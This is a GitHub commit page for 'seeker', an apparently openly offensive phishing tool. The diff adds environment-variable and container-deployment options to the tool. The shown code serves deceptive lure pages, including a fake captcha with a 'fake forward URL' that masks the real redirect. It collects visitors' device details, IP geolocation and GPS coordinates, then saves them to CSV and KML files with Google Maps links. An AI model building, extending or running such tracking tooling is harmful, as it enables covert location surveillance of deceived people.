Skip to content

Commit

Permalink
Adding of env variables support, launch in background to ease contain…
Browse files Browse the repository at this point in the history
…er deployment...
  • Loading branch information
Resousse committed May 25, 2023
1 parent b21f28c commit d0e9c83
Show file tree
Hide file tree
Showing 9 changed files with 263 additions and 75 deletions.
27 changes: 27 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -145,6 +145,30 @@ options:
-p PORT, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t, --template Auto choose the template with the given index
-d, --debugHTTP Disable auto http --> https redirection for testing purposes (only works for the templates having index_temp.html file)

#########################
# Environment Variables #
#########################

Some of the options above can also be enabled via environment variables, to ease deployment.
Other parameters can be provided via environment variables to avoid interactive mode.

Variables:
DEBUG_HTTP Same as -d, --debugHTTP
PORT Same as -p, --port
TEMPLATE Same as -t, --template
TITLE Provide the group title or the page title
REDIRECT Provide the URL to redirect the user to, after the job is done
IMAGE Provide the image to use, can either be remote (http or https) or local
Note : Remote image will be downloaded locally during the startup
DESC Provide the description of the item (group or webpage depending on the template)
SITENAME Provide the name of the website
DISPLAY_URL Provide the URL to display on the page
MEM_NUM Provide the number of group membres (Telegram so far)
ONLINE_NUM Provide the number of the group online members (Telegram so far)


##################
# Usage Examples #
Expand All @@ -167,6 +191,9 @@ $ python3 seeker.py -k <filename>
$ python3 seeker.py -p 1337
$ ./ngrok http 1337

# Pre-select a specific template
$ python3 seeker.py -t 1

################
# Docker Usage #
################
Expand Down
91 changes: 54 additions & 37 deletions seeker.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,21 +12,32 @@
import argparse
import requests
import traceback
from os import path, kill, mkdir
from os import path, kill, mkdir, getenv, environ
from json import loads, decoder
from packaging import version
import utils

parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kml', help='KML filename')
parser.add_argument('-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]')
parser.add_argument('-u', '--update', action='store_true', help='Check for updates')
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
parser.add_argument('-t', '--template', type=int, help='Load template and loads parameters from env variables')
parser.add_argument('-d', '--debugHTTP', type=bool, default = False, help='Disable HTTPS redirection for testing only')


args = parser.parse_args()
kml_fname = args.kml
port = args.port
port = getenv("PORT") or args.port
chk_upd = args.update
print_v = args.version
if (getenv("DEBUG_HTTP") and (getenv("DEBUG_HTTP") == "1" or getenv("DEBUG_HTTP").lower() == "true")) or args.debugHTTP == True:
environ["DEBUG_HTTP"] = "1"
else:
environ["DEBUG_HTTP"] = "0"

templateNum = int(getenv("TEMPLATE")) if getenv("TEMPLATE") and getenv("TEMPLATE").isnumeric() else args.template


path_to_script = path.dirname(path.realpath(__file__))

Expand All @@ -51,7 +62,7 @@

def chk_update():
try:
print('> Fetching Metadata...', end='', flush=True)
print('> Fetching Metadata...', end='')
rqst = requests.get(META_URL, timeout=5)
meta_sc = rqst.status_code
if meta_sc == 200:
Expand All @@ -64,15 +75,15 @@ def chk_update():
else:
print('> Already up to date.')
except Exception as exc:
print(f'Exception : {str(exc)}')
utils.print(f'Exception : {str(exc)}')


if chk_upd is True:
chk_update()
sys.exit()

if print_v is True:
print(VERSION)
utils.print(VERSION)
sys.exit()

import importlib
Expand All @@ -96,15 +107,15 @@ def banner():
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/'''
print(f'{G}{art}{W}\n')
print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
print(f'{G} |---> {C}Community : {W}{comms_url}')
print(f'{G}[>] {C}Version : {W}{VERSION}\n')
utils.print(f'{G}{art}{W}\n')
utils.print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
utils.print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
utils.print(f'{G} |---> {C}Community : {W}{comms_url}')
utils.print(f'{G}[>] {C}Version : {W}{VERSION}\n')


def template_select(site):
print(f'{Y}[!] Select a Template :{W}\n')
utils.print(f'{Y}[!] Select a Template :{W}\n')

with open(TEMPLATES_JSON, 'r') as templ:
templ_info = templ.read()
Expand All @@ -113,28 +124,34 @@ def template_select(site):

for item in templ_json['templates']:
name = item['name']
print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')
utils.print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')

try:
selected = int(input(f'{G}[>] {W}'))
selected = -1
if templateNum is not None:
if templateNum >= 0 and templateNum < len(templ_json['templates']):
selected = templateNum
utils.print(f'{G}[+] {C}Template choosen :{W} {templateNum} : '+templ_json['templates'][templateNum]["name"])
else:
selected = int(input(f'{G}[>] {W}'))
if selected < 0:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
except ValueError:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()

try:
site = templ_json['templates'][selected]['dir_name']
except IndexError:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
utils.print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()

print()
print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}')
utils.print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}')

module = templ_json['templates'][selected]['module']
if module is True:
Expand All @@ -148,8 +165,8 @@ def template_select(site):
def server():
print()
preoc = False
print(f'{G}[+] {C}Port : {W}{port}\n')
print(f'{G}[+] {C}Starting PHP Server...{W}', end='', flush=True)
utils.print(f'{G}[+] {C}Port : {W}{port}\n')
utils.print(f'{G}[+] {C}Starting PHP Server...{W}', end='')
cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/']

with open(LOG_FILE, 'w+') as phplog:
Expand All @@ -163,17 +180,17 @@ def server():
php_sc = php_rqst.status_code
if php_sc == 200:
if preoc:
print(f'{C}[ {G}{C} ]{W}')
print(f'{Y}[!] Server is already running!{W}')
utils.print(f'{C}[ {G}{C} ]{W}')
utils.print(f'{Y}[!] Server is already running!{W}')
print()
else:
print(f'{C}[ {G}{C} ]{W}')
utils.print(f'{C}[ {G}{C} ]{W}')
print()
else:
print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
utils.print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
cl_quit(proc)
except requests.ConnectionError:
print(f'{C}[ {R}{C} ]{W}')
utils.print(f'{C}[ {R}{C} ]{W}')
cl_quit(proc)
return proc

Expand All @@ -184,7 +201,7 @@ def wait():
sleep(2)
size = path.getsize(RESULT)
if size == 0 and printed is False:
print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
utils.print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
printed = True
if size > 0:
data_parser()
Expand All @@ -198,7 +215,7 @@ def data_parser():
try:
info_json = loads(info_file)
except decoder.JSONDecodeError:
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
var_os = info_json['os']
var_platform = info_json['platform']
Expand All @@ -212,7 +229,7 @@ def data_parser():

data_row.extend([var_os, var_platform, var_cores, var_ram, var_vendor, var_render, var_res, var_browser, var_ip])

print(f'''{Y}[!] Device Information :{W}
utils.print(f'''{Y}[!] Device Information :{W}
{G}[+] {C}OS : {W}{var_os}
{G}[+] {C}Platform : {W}{var_platform}
Expand All @@ -226,7 +243,7 @@ def data_parser():
''')

if ip_address(var_ip).is_private:
print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
else:
rqst = requests.get(f'https://ipwhois.app/json/{var_ip}')
s_code = rqst.status_code
Expand All @@ -243,7 +260,7 @@ def data_parser():

data_row.extend([var_continent, var_country, var_region, var_city, var_org, var_isp])

print(f'''{Y}[!] IP Information :{W}
utils.print(f'''{Y}[!] IP Information :{W}
{G}[+] {C}Continent : {W}{var_continent}
{G}[+] {C}Country : {W}{var_country}
Expand All @@ -258,7 +275,7 @@ def data_parser():
try:
result_json = loads(results)
except decoder.JSONDecodeError:
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
status = result_json['status']
if status == 'success':
Expand All @@ -271,7 +288,7 @@ def data_parser():

data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])

print(f'''{Y}[!] Location Information :{W}
utils.print(f'''{Y}[!] Location Information :{W}
{G}[+] {C}Latitude : {W}{var_lat}
{G}[+] {C}Longitude : {W}{var_lon}
Expand All @@ -281,13 +298,13 @@ def data_parser():
{G}[+] {C}Speed : {W}{var_spd}
''')

print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')
utils.print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')

if kml_fname is not None:
kmlout(var_lat, var_lon)
else:
var_err = result_json['error']
print(f'{R}[-] {C}{var_err}\n')
utils.print(f'{R}[-] {C}{var_err}\n')

csvout(data_row)
clear()
Expand All @@ -304,15 +321,15 @@ def kmlout(var_lat, var_lon):
with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen:
kml_gen.write(kml_sample_data)

print(f'{Y}[!] KML File Generated!{W}')
print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')
utils.print(f'{Y}[!] KML File Generated!{W}')
utils.print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')


def csvout(row):
with open(DATA_FILE, 'a') as csvfile:
csvwriter = writer(csvfile)
csvwriter.writerow(row)
print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')
utils.print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')


def clear():
Expand Down Expand Up @@ -342,7 +359,7 @@ def cl_quit(proc):
wait()
data_parser()
except KeyboardInterrupt:
print(f'{R}[-] {C}Keyboard Interrupt.{W}')
utils.print(f'{R}[-] {C}Keyboard Interrupt.{W}')
cl_quit(SERVER_PROC)
else:
repeat()
18 changes: 16 additions & 2 deletions template/mod_captcha.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,24 @@
#!/usr/bin/env python3
import os
import utils

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white

real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
real_forward = os.getenv('REDIRECT')
fake_forward = os.getenv('DISPLAY_URL')

if real_forward is None:
real_forward = input(f'{G}[+] {C}Enter Real Forward URL :{W} ')
else:
utils.print(f'{G}[+] {C}Real Forward URL :{W} '+real_forward)

if fake_forward is None:
fake_forward = input(f'{G}[+] {C}Enter Fake Forward URL :{W} ')
else:
utils.print(f'{G}[+] {C}Fake Forward URL :{W} '+fake_forward)

with open('template/captcha/js/location_temp.js', 'r') as location_temp:
js_file = location_temp.read()
Expand All @@ -17,6 +29,8 @@

with open('template/captcha/index_temp.html', 'r') as temp_index:
temp_index_data = temp_index.read()
if os.getenv("DEBUG_HTTP"):
temp_index_data = temp_index_data.replace('window.location = "https:" + restOfUrl;', '')
upd_temp_index_raw = temp_index_data.replace('FAKE_REDIRECT_URL', fake_forward)

with open('template/captcha/index.html', 'w') as updated_index:
Expand Down
Loading

0 comments on commit d0e9c83

Please sign in to comment.